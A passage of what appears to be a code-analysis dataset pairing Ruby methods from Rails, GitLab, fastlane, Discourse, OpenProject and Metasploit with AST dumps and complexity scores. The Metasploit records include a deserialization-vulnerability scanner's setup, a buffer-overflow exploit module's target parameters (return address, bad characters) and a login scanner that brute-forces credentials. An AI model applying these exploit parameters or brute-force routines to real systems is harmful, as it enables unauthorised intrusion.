end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dependencies_with_interpolation_non_trailing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"view_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"PathSet\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../fixtures/digestor\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeTemplate\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <%= render \\\"#{type}/comments\\\" %>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]},{\"type\":\"sym\",\"children\":[\"erb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tracker\",{\"type\":\"send\",\"children\":[null,\"make_tracker\",{\"type\":\"str\",\"children\":[\"interpolation/_string\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"view_paths\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"*/comments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"dependencies\"]}]}]}]}","id":"2973f0a3-3b67-4ecc-a064-bfdc73631f1c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/app_screenshot.rb","start_line":376,"raw_source":"def self.calculate_screen_size(path)\n      size = FastImage.size(path)\n\n      UI.user_error!(\"Could not find or parse file at path '#{path}'\") if size.nil? || size.count == 0\n\n      # iMessage screenshots have same resolution as app screenshots so we need to distinguish them\n      path_component = Pathname.new(path).each_filename.to_a[-3]\n      devices = path_component.eql?(\"iMessage\") ? self.device_messages : self.devices\n\n      devices.each do |screen_size, resolutions|\n        if resolutions.include?(size)\n          filename = Pathname.new(path).basename.to_s\n          return resolve_ipadpro_conflict_if_needed(screen_size, filename)\n        end\n      end\n\n      nil\n    end","complexity_score":31.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calculate_screen_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastImage\"]},\"size\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find or parse file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"path_component\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"each_filename\"]},\"to_a\"]},\"[]\",{\"type\":\"int\",\"children\":[-3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"devices\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_component\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"iMessage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"device_messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"devices\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devices\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screen_size\"]},{\"type\":\"arg\",\"children\":[\"resolutions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolutions\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"basename\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolve_ipadpro_conflict_if_needed\",{\"type\":\"lvar\",\"children\":[\"screen_size\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"18bf1c41-b993-4098-a05e-f467e0074c1d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/where_clause.rb","start_line":26,"raw_source":"def merge(other)\n        predicates = except_predicates(other.extract_attributes)\n\n        WhereClause.new(predicates | other.predicates)\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"predicates\",{\"type\":\"send\",\"children\":[null,\"except_predicates\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"extract_attributes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WhereClause\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predicates\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"predicates\"]}]}]}]}]}","id":"6c2e57e1-7111-4c06-b638-a16bcdd02102"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/event_reporter/log_subscriber_test.rb","start_line":87,"raw_source":"def event_reporter_raise_on_error\n      ActiveSupport.event_reporter.raise_on_error = true\n      yield\n    ensure\n      ActiveSupport.event_reporter.raise_on_error = false\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"event_reporter_raise_on_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"event_reporter\"]},\"raise_on_error=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"event_reporter\"]},\"raise_on_error=\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"68deda46-467c-401f-8faf-93b4b96fe144"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/omniauth_identity_linker_base.rb","start_line":33,"raw_source":"def error_message\n        identity.validate\n\n        identity.errors.full_messages.join(', ')\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identity\"]},\"validate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identity\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"3c27b77b-d0fa-4fe1-97d5-af2b04249eba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Scanner',\n        'Description' => %q{\n          This module attempts to identify Ruby on Rails instances vulnerable to\n          an arbitrary object instantiation flaw in the JSON request processor.\n        },\n        'Author' => [\n          'jjarmoc',\t# scanner module\n          'hdm'\t# CVE-2013-0156 scanner, basis of this technique.\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2013-0333']\n        ],\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, \"The URI to test\", \"/\"]),\n      OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT']]),\n    ])\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails JSON Processor YAML Deserialization Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to identify Ruby on Rails instances vulnerable to\\n\"]},{\"type\":\"str\",\"children\":[\"          an arbitrary object instantiation flaw in the JSON request processor.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jjarmoc\"]},{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0333\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to test\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTP_METHOD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"HTTP Method\"]},{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"str\",\"children\":[\"PUT\"]}]}]}]}]}]}]}]}","id":"1e66d42f-2a95-43a0-afc3-38e373584912"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/multisite_hash.rb","start_line":32,"raw_source":"def flush!\n      @hash[current_db] = {}\n      MessageBus.publish(channel_name, current_db)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"flush!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"current_db\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"send\",\"children\":[null,\"channel_name\"]},{\"type\":\"send\",\"children\":[null,\"current_db\"]}]}]}]}","id":"80bc52ad-10a1-44bd-a806-95f67afec7f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/profile.rb","start_line":195,"raw_source":"def ssh_key_expiring_soon_email(user, fingerprints)\n      return unless user&.active?\n\n      @user = user\n      @fingerprints = fingerprints\n      @target_url = user_settings_ssh_keys_url\n\n      mail_with_locale(to: @user.notification_email_or_default, subject: subject(_(\"Your SSH key expires soon\")))\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_key_expiring_soon_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"fingerprints\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"active?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fingerprints\",{\"type\":\"lvar\",\"children\":[\"fingerprints\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_url\",{\"type\":\"send\",\"children\":[null,\"user_settings_ssh_keys_url\"]}]},{\"type\":\"send\",\"children\":[null,\"mail_with_locale\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"notification_email_or_default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"subject\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Your SSH key expires soon\"]}]}]}]}]}]}]}]}","id":"c8449d7c-229f-4cb3-8b99-de2e9d021564"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/register_user_service.rb","start_line":120,"raw_source":"def register_omniauth_user\n      return if skip_omniauth_user?\n      return if limited_provider?(user)\n\n      user.activate\n\n      with_saved_user_result(success_message: I18n.t(:notice_account_registered_and_logged_in)) do\n        Rails.logger.info { \"User #{user.login} was successfully activated after arriving from omniauth.\" }\n      end\n    end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"register_omniauth_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_omniauth_user?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limited_provider?\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"activate\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_saved_user_result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_account_registered_and_logged_in\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"login\"]}]},{\"type\":\"str\",\"children\":[\" was successfully activated after arriving from omniauth.\"]}]}]}]}]}]}","id":"8559e87e-5ebb-4921-9c8b-0abf1df56add"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/encryption_key.rb","start_line":94,"raw_source":"def encode_type\n            bn = OpenSSL::BN.new(type.to_s)\n            int = OpenSSL::ASN1::Integer.new(bn)\n\n            int\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"4d968dda-8adf-480f-8a8a-c39d4aa1faf9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/registry_repository.rb","start_line":49,"raw_source":"def api_delete_tag_path\n        \"/projects/#{project.id}/registry/repositories/#{id}/tags/#{tag_name}\"\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_delete_tag_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/registry/repositories/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"/tags/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_name\"]}]}]}]}","id":"05a837c4-4e1d-4e44-b1ce-5ca03f5d4012"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/emc/alphastor_agent.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'EMC AlphaStor Agent Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in EMC AlphaStor 3.1.\n          By sending a specially crafted message, an attacker may\n          be able to execute arbitrary code.\n        },\n        'Author' => 'MC',\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2008-2158' ],\n          [ 'OSVDB', '45714' ],\n          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process', # one-shot overwrite.\n        },\n        'Payload' => {\n          'Space' => 750,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x20\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975\n        ],\n        'Privileged' => true,\n        'DisclosureDate' => '2008-05-27',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(41025)])\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"EMC AlphaStor Agent Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in EMC AlphaStor 3.1.\\n\"]},{\"type\":\"str\",\"children\":[\"          By sending a specially crafted message, an attacker may\\n\"]},{\"type\":\"str\",\"children\":[\"          be able to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"MC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-2158\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"45714\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[750]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EMC AlphaStor 3.1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1695891424]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2008-05-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[41025]}]}]}]}]}]}","id":"73d6bd96-4533-4db3-9d6d-b04f447281ff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb","start_line":166,"raw_source":"def run_host(ip)\n    res = send_request_cgi({\n      'uri' => datastore['CPQLOGIN'],\n      'method' => 'GET',\n      'vars_get' => {\n        'RedirectUrl' => datastore['LOGIN_REDIRECT'],\n        'RedirectQueryString' => ''\n      }\n    })\n\n    sys_name = get_system_name(res)\n\n    if sys_name.blank?\n      print_error 'Could not retrieve system name.'\n      return\n    end\n\n    version = get_version(res)\n    unless version.blank?\n      print_status(\"Version detected: #{version}\")\n      unless is_version_tested?(version)\n        print_warning(\"You're running the module against a version we have not tested.\")\n      end\n    end\n\n    print_good(\"System name detected: #{sys_name}\")\n    report_note(\n      :host => ip,\n      :type => \"system.name\",\n      :data => { :system_name => sys_name }\n    )\n\n    if anonymous_access?(res)\n      print_good(\"No login necessary. Server allows anonymous access.\")\n      return\n    end\n\n    init_loginscanner(ip)\n    bruteforce(ip)\n  end","complexity_score":28.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CPQLOGIN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RedirectUrl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LOGIN_REDIRECT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RedirectQueryString\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sys_name\",{\"type\":\"send\",\"children\":[null,\"get_system_name\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_name\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not retrieve system name.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"blank?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version detected: 